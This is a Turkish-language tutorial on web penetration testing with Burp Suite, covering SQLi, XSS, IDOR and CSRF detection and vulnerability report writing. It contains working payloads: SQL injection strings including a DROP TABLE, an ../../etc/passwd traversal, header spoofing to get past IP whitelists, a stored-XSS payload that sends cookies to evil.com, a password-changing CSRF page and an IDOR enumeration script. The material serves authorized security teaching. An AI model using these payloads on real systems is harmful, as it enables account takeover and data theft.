SİBER GÜVENLİK // PENTESTD::03 ORTA
20m READCOMPLETION: 80%ID::SEC-201

BURP SUITE İLE WEB PENTESTİNG

Proxy, Intruder, Repeater ile SQLi, XSS, IDOR ve CSRF tespiti

Burp Suite, web uygulama güvenlik testlerinin standart aracıdır. HTTP trafiğini ele geçirerek, analiz ederek ve manipüle ederek güvenlik açıklarını tespit etmenizi sağlar. Bu derste Burp Suite'in temel araçlarını ve gerçek saldırı senaryolarını inceliyoruz.

Burp Suite Kurulumu

Proxy — Trafik Ele Geçirme

// HTTP //
# Yakalanan istek örneği
POST /api/auth/giris HTTP/1.1
Host: hedef-site.com
Content-Type: application/json
Cookie: session=abc123
 
{"email":"ali@test.com","sifre":"123456"}
 
# Sağ tık → Send to Repeater → İsteği düzenle ve tekrar gönder
# Sağ tık → Send to Intruder → Brute force / fuzzing
# Sağ tık → Send to Scanner → Otomatik açık tarama (Pro)

Intruder — Brute Force ve Fuzzing

// PLAINTEXT //
# Payload pozisyonu işaretle
POST /api/auth/giris
{"email":"ali@test.com","sifre":"§123456§"}
                                  ↑ burayı fuzzing yap
 
# Payload türleri:
# Simple List  → kelime listesi (rockyou.txt, SecLists)
# Numbers     → 0000-9999
# Brute Forcer → a-z, A-Z, 0-9 kombinasyonu
# Cluster Bomb → çoklu pozisyon × çoklu liste
 
# Rate limit tespiti:
# Response Length, Status Code veya Response Time'daki
# anormallikler başarılı denemeleri gösterir

Repeater ile Manuel Test

// HTTP //
# SQL Injection testi — Repeater'da dene
GET /api/urunler?id=1' HTTP/1.1
 
# XSS testi
GET /api/ara?q=<script>alert(1)</script> HTTP/1.1
 
# Path traversal
GET /api/dosya?yol=../../etc/passwd HTTP/1.1
 
# IDOR (Insecure Direct Object Reference)
GET /api/siparisler/1234 HTTP/1.1   → Kendi siparişin
GET /api/siparisler/1235 HTTP/1.1   → Başkasının siparişi mı görünüyor?
 
# Header manipulation
GET /api/admin HTTP/1.1
X-Forwarded-For: 127.0.0.1       # IP whitelist bypass
X-Admin: true                      # Yetkisiz erişim

SQL Injection Tespiti

// SQL //
-- Klasik SQLi belirti testi
' OR '1'='1
' OR '1'='1'--
1; DROP TABLE kullanicilar--
 
-- Error-based SQLi — hata mesajından bilgi çek
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
 
-- Boolean-based blind SQLi (hata yok, sadece true/false fark)
' AND 1=1--   → Normal cevap
' AND 1=2--   → Farklı cevap (açık var)
 
-- Time-based blind SQLi (cevap farkı yok)
'; IF (1=1) WAITFOR DELAY '0:0:5'--  → 5sn gecikme varsa açık var
 
-- sqlmap ile otomatik
# sqlmap -u "https://site.com/api?id=1" --dbs
# UYARI: Sadece izinli sistemlerde!

XSS (Cross-Site Scripting) Tespiti

// JAVASCRIPT //
// Reflected XSS — URL parametresinde
// https://site.com/ara?q=<script>alert(document.cookie)</script>
 
// DOM XSS — JavaScript kaynaklı
// Kaynak: location.search, document.referrer, localStorage
// Havuz: innerHTML, document.write, eval
 
// Stored XSS — veritabanına kaydedilen payload
// Yorum alanı: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">
 
// CSP bypass denemeleri
<script nonce="geçersiz">alert(1)</script>
<object data="javascript:alert(1)">
<base href="https://evil.com">
 
// Burp ile XSS
// 1. Arama kutusuna test.js yazın
// 2. Yanıtta "test.js" nerede göründüğünü görün
// 3. Konuma göre payload seçin (attribute, tag içi, script içi)

IDOR (Insecure Direct Object Reference)

// PYTHON //
# IDOR testi senaryosu
import requests
 
# Kullanıcı A olarak giriş yap
session_a = requests.Session()
session_a.post("https://site.com/giris", json={"email": "a@test.com", "sifre": "pass"})
 
# Kendi verini al
r = session_a.get("https://site.com/api/kullanici/1001")  # Kendi ID'n
print(r.json())  # OK
 
# Başkasının verisini dene
r = session_a.get("https://site.com/api/kullanici/1002")  # Başkasının ID'si
if r.status_code == 200:
    print("IDOR AÇIĞI BULUNDU!", r.json())  # Veri geldi = güvenlik açığı!
 
# Burp ile toplu test:
# GET /api/siparis/§1000§ — Intruder ile 1000-1100 arası dene
# Status 200 gelenleri filtrele

CSRF (Cross-Site Request Forgery) Testi

// HTML //
<!-- CSRF PoC — kendi sunucunuzda barındırın -->
<!-- Hedef kullanıcı bu sayfayı açarsa şifre değişir -->
<html>
<body>
<form id="csrf-form" action="https://hedef.com/api/sifre-degistir" method="POST">
    <input type="hidden" name="yeni_sifre" value="hacker123">
</form>
<script>
    document.getElementById("csrf-form").submit();
</script>
</body>
</html>
 
<!-- Başarılı test kriterleri:
1. Form submit oldu
2. Cookie otomatik gönderildi
3. CSRF token yoktu veya doğrulanmadı
4. Şifre değişti → Güvenlik açığı! -->

Rapor Yazımı

// MARKDOWN //
## Güvenlik Açığı Raporu
 
**Başlık:** Siparişler API'sinde IDOR Açığı
**Ciddiyet:** Yüksek (CVSS 7.5)
**Durum:** Doğrulandı
 
### Özet
`/api/siparisler/{id}` endpoint'i, oturum açmış kullanıcının
başka kullanıcılara ait sipariş detaylarına erişmesine izin vermektedir.
 
### Adımlar
1. Kullanıcı A olarak giriş yap (ali@test.com)
2. GET /api/siparisler/1234 — Kendi siparişin (OK)
3. GET /api/siparisler/1235 — Başkasının siparişi → **200 OK + veri**
 
### Etki
- Müşteri adı, adresi ve ödeme yöntemi son 4 hanesi açığa çıktı
- 10.000+ sipariş etkilenebilir
 
### Düzeltme
```python
# KÖTÜ
def siparis_getir(siparis_id):
    return Siparis.objects.get(id=siparis_id)
 
# İYİ
def siparis_getir(siparis_id, kullanici_id):
    return Siparis.objects.get(id=siparis_id, kullanici_id=kullanici_id)

Kanıt

[Ekran görüntüsü / HTTP isteği-yanıt]

// PLAINTEXT //
 
## Sonuç
 
Burp Suite, web güvenlik testinin vazgeçilmez aracıdır. Proxy ile trafik analizi, Intruder ile fuzzing ve Repeater ile manuel test; SQL Injection, XSS ve IDOR gibi kritik açıkları tespit etmek için temel iş akışınızdır. Her testten önce yazılı izin alın ve bulgularınızı net raporlarla belgeleyin. Bir sonraki derste OWASP ZAP ile otomatik tarama ve CVE analizi konularını ele alacağız.